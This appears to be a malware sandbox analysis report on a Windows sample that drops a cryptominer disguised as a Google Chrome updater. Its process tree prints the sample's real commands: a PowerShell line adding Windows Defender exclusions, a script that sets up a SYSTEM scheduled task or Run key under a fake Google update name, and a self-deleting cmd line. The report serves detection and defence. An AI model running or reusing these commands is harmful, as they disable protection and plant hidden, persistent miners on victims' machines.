Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
335s -
max time network
1804s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
bW3Td8vedKuGbSKX.exeupdater.execonhost.exedescription pid process target process PID 2384 created 1256 2384 bW3Td8vedKuGbSKX.exe Explorer.EXE PID 2384 created 1256 2384 bW3Td8vedKuGbSKX.exe Explorer.EXE PID 2384 created 1256 2384 bW3Td8vedKuGbSKX.exe Explorer.EXE PID 2384 created 1256 2384 bW3Td8vedKuGbSKX.exe Explorer.EXE PID 2860 created 1256 2860 updater.exe Explorer.EXE PID 2860 created 1256 2860 updater.exe Explorer.EXE PID 2860 created 1256 2860 updater.exe Explorer.EXE PID 2860 created 1256 2860 updater.exe Explorer.EXE PID 1056 created 1256 1056 conhost.exe Explorer.EXE PID 2860 created 1256 2860 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral18/memory/764-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral18/memory/764-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2776 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2860 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2628 taskeng.exe -
Processes:
resource yara_rule behavioral18/memory/764-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral18/memory/764-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2860 set thread context of 1056 2860 updater.exe conhost.exe PID 2860 set thread context of 764 2860 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
bW3Td8vedKuGbSKX.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe bW3Td8vedKuGbSKX.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2096 schtasks.exe 796 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 408b5009b44fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
bW3Td8vedKuGbSKX.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2384 bW3Td8vedKuGbSKX.exe 2384 bW3Td8vedKuGbSKX.exe 2792 powershell.exe 2384 bW3Td8vedKuGbSKX.exe 2384 bW3Td8vedKuGbSKX.exe 2856 powershell.exe 2384 bW3Td8vedKuGbSKX.exe 2384 bW3Td8vedKuGbSKX.exe 2384 bW3Td8vedKuGbSKX.exe 2384 bW3Td8vedKuGbSKX.exe 2716 powershell.exe 2860 updater.exe 2860 updater.exe 2952 powershell.exe 2860 updater.exe 2860 updater.exe 2008 powershell.exe 2860 updater.exe 2860 updater.exe 2860 updater.exe 2860 updater.exe 1056 conhost.exe 1056 conhost.exe 2860 updater.exe 2860 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2792 powershell.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeDebugPrivilege 2716 powershell.exe Token: SeDebugPrivilege 2952 powershell.exe Token: SeDebugPrivilege 2008 powershell.exe Token: SeDebugPrivilege 2860 updater.exe Token: SeAssignPrimaryTokenPrivilege 1540 WMIC.exe Token: SeIncreaseQuotaPrivilege 1540 WMIC.exe Token: SeSecurityPrivilege 1540 WMIC.exe Token: SeTakeOwnershipPrivilege 1540 WMIC.exe Token: SeLoadDriverPrivilege 1540 WMIC.exe Token: SeSystemtimePrivilege 1540 WMIC.exe Token: SeBackupPrivilege 1540 WMIC.exe Token: SeRestorePrivilege 1540 WMIC.exe Token: SeShutdownPrivilege 1540 WMIC.exe Token: SeSystemEnvironmentPrivilege 1540 WMIC.exe Token: SeUndockPrivilege 1540 WMIC.exe Token: SeManageVolumePrivilege 1540 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1540 WMIC.exe Token: SeIncreaseQuotaPrivilege 1540 WMIC.exe Token: SeSecurityPrivilege 1540 WMIC.exe Token: SeTakeOwnershipPrivilege 1540 WMIC.exe Token: SeLoadDriverPrivilege 1540 WMIC.exe Token: SeSystemtimePrivilege 1540 WMIC.exe Token: SeBackupPrivilege 1540 WMIC.exe Token: SeRestorePrivilege 1540 WMIC.exe Token: SeShutdownPrivilege 1540 WMIC.exe Token: SeSystemEnvironmentPrivilege 1540 WMIC.exe Token: SeUndockPrivilege 1540 WMIC.exe Token: SeManageVolumePrivilege 1540 WMIC.exe Token: SeLockMemoryPrivilege 764 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2856 wrote to memory of 2096 2856 powershell.exe schtasks.exe PID 2856 wrote to memory of 2096 2856 powershell.exe schtasks.exe PID 2856 wrote to memory of 2096 2856 powershell.exe schtasks.exe PID 2776 wrote to memory of 2588 2776 cmd.exe choice.exe PID 2776 wrote to memory of 2588 2776 cmd.exe choice.exe PID 2776 wrote to memory of 2588 2776 cmd.exe choice.exe PID 2716 wrote to memory of 2636 2716 powershell.exe schtasks.exe PID 2716 wrote to memory of 2636 2716 powershell.exe schtasks.exe PID 2716 wrote to memory of 2636 2716 powershell.exe schtasks.exe PID 2628 wrote to memory of 2860 2628 taskeng.exe updater.exe PID 2628 wrote to memory of 2860 2628 taskeng.exe updater.exe PID 2628 wrote to memory of 2860 2628 taskeng.exe updater.exe PID 2008 wrote to memory of 796 2008 powershell.exe schtasks.exe PID 2008 wrote to memory of 796 2008 powershell.exe schtasks.exe PID 2008 wrote to memory of 796 2008 powershell.exe schtasks.exe PID 2860 wrote to memory of 1056 2860 updater.exe conhost.exe PID 1004 wrote to memory of 1540 1004 cmd.exe WMIC.exe PID 1004 wrote to memory of 1540 1004 cmd.exe WMIC.exe PID 1004 wrote to memory of 1540 1004 cmd.exe WMIC.exe PID 2860 wrote to memory of 764 2860 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\bW3Td8vedKuGbSKX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\bW3Td8vedKuGbSKX.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\bW3Td8vedKuGbSKX.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {7518C242-5ADA-47F3-9E19-CD531B58167D} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
6KB
MD503c8a7ce33acb1d16cbe03bd0312f4bb
SHA1a2f4e1e7fed9528af7b6d571b864de42eb041380
SHA2561b8e1eede7367c75d2da278d4e6ddc5f089af504c315c8d34ac1324942522531
SHA51259ed256e4944c2e746e1243557f520987a84283e194d37651b11a0f706f8aae2f01264c117229294285c0cefc560b124d18a92830966e2efd13715b9b58d2545
-
C:\Program Files\Google\Chrome\updater.exeFilesize
165KB
MD5158aea918809954b2e0d75b462e67e99
SHA1ff82c2055581fa28908b79f0c7132aea1febc06b
SHA256eff32052d042b9834f7f1f18419fb7a5ee753ed7618bc1bc7eb759268ffc5cba
SHA5129eb00d3903a559584bd64334031f9700e3ae14bf28d2c1bcb20e4f8187335f85685ecb9306e027a2e8840523aebd7ebe28b0f68dfb29027fcc9f96f78461420f
-
C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GKXGTQCJK4SDOHB11YWP.tempFilesize
7KB
MD589dcb0575bbaa09b9fb25c2498447871
SHA1634debd1fec9d58c8452399d64397581147824ac
SHA2560e98f65765df86c08cbada0323b98e62df2d5deca652e6e7d03142bc9918b7aa
SHA512f0007a511f29a6b0d710f4f38fb3fd5585efc6fba5f26bb38209d9788508776f27bcea9731a80a729091a59dc3ed42962b2c100e6e084793f9eaa1da4ca04170
-
\Program Files\Google\Chrome\updater.exeFilesize
41KB
MD5c4136c9cc0963aa35b781069d4d4dda9
SHA1ffe821d0a6d95886e70c7d757db6cea81eb38eb2
SHA256b1bdc575f1f05df74e8546578ee6b500b2191c42a0901fe1a6a60b4b3c8e783f
SHA512ec00546e4c7f60860dbff2155828005972950e018176e861bfe0b7d96216e9e929ce3da741ed8002ed6251ffd802ffc4ec72739667f81c37a60dd7aae887678a
-
memory/764-94-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-86-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-118-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-116-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-122-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-114-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-112-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-110-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-108-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-106-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-104-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-102-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-100-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-98-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-96-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/764-129-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
